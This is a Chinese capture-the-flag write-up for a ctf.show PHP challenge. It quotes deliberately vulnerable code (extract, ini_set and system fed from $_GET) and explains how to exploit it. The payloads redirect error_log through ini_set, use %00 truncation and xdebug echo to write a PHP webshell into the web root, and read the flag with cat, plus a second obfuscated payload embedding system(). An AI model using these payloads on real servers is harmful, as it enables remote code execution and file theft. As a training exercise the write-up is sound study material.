源码如下
highlight_file(__FILE__);
error_reporting(2);
extract($_GET);
ini_set($name,$value);
system(
"ls '".filter($_GET[1])."'"
);
function filter($cmd){
$cmd = str_replace("'","",$cmd);
$cmd = str_replace("\\","",$cmd);
$cmd = str_replace("`","",$cmd);
$cmd = str_replace("$","",$cmd);
return $cmd;
}
error_reporting(2);
- 这将错误报告级别设置为仅显示警告。这可能是为了隐藏潜在的错误消息,使用户看不到。extract($_GET);
- 这一行从$_GET
数组中提取变量,并使用数组键中指定的名称创建变量。如果不适当地进行消毒处理,这可能会带来潜在的变量注入漏洞。ini_set($name,$value);
- 这一行试图使用来自$_GET
数组的值来设置PHP配置选项。$name
和$value
的值来自用户输入,这可能会导致潜在的安全漏洞。system("ls '".filter($_GET[1])."'");
- 这一行试图在一个文件或目录上执行ls
命令。命令是使用$_GET
数组中的用户输入构建的。filter
函数用于通过删除某些字符(如单引号、反斜杠、重音符号和美元符号)来消毒用户输入。然而,这种类型的消毒处理并不十分可靠,可能仍然存在命令注入漏洞的可能性。filter
函数用来过滤传入的值,查看是否有危险字符
这里还存在一个extract()
函数
定义和用法
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。
该函数返回成功导入到符号表中的变量数目。
简单来说就是他可以接受我们的$name
和$value
变量并做出处理
预期解
通过ls命令可以遍历目录,搜寻后,可以发现题目php的扩展目录
payload:
http://2fa2962f-a892-42c6-abd2-0a186ea1ab21.challenge.ctf.show/?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731
可以看到,当前环境存在5个扩展,包含xdebug
xdebug在处理截断问题的时候,会将异常payload
回显。而system刚好可以用0字节
进行截断
来触发异常,也就是%00截断
思路就是通过触发异常后,将回显的内容(可控)写入到web目录。即可实现写马。
在此之前先介绍一下ini_set()
函数
PHP ini_set用来设置php.ini的值,在函数执行的时候生效,对于虚拟空间来说,很方便,下面为大家介绍下此方法的使用
PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置,对于虚拟空间来说,很方便。
函数格式:string ini_set(string $varname, string $newvalue)
在本题中,我们可以利用ini_set
函数来暂时修改php.ini
中的PHP配置
- error_reporting = E_ALL ;将会向PHP报告发生的每个错误
- display_errors = Off ;不显示满足上条 指令所定义规则的所有错误报告
- log_errors = On ;决定日志语句记录的位置
- log_errors_max_len = 1024 ;设置每个日志项的最大长度
- error_log = “你想存放日志文件的路径/php_error.log” ;指定产生的 错误报告写入的日志文件位置
由于我们可以传入$name
和$value
的值,也就是说明可以控制PHP配置文件的error_log
及其错误日志
的写入文件,加上前面所提到的xdebug在处理截断问题的时候,会将异常payload回显。所以我们可以通过这一点来进行写马
payload:
?name=error_log&value=/var/www/html/shell.php&1=%00
然后访问shell.php
可以看到已经执行ls /
的命令,将命令改为cat /f*
,然后访问,获得flag
?name=error_log&value=/var/www/html/flag.php&1=%00
这里建不要与执行ls
命令的文件名相同
访问后得到flag
师傅们的其他解法
payload:
/?name=error_log&value=1.php
&1=("%0C%08%00%00"^"`{ %2f");%255C%2527%2527 )?><?php system("cat /*");?>\‘’//\%23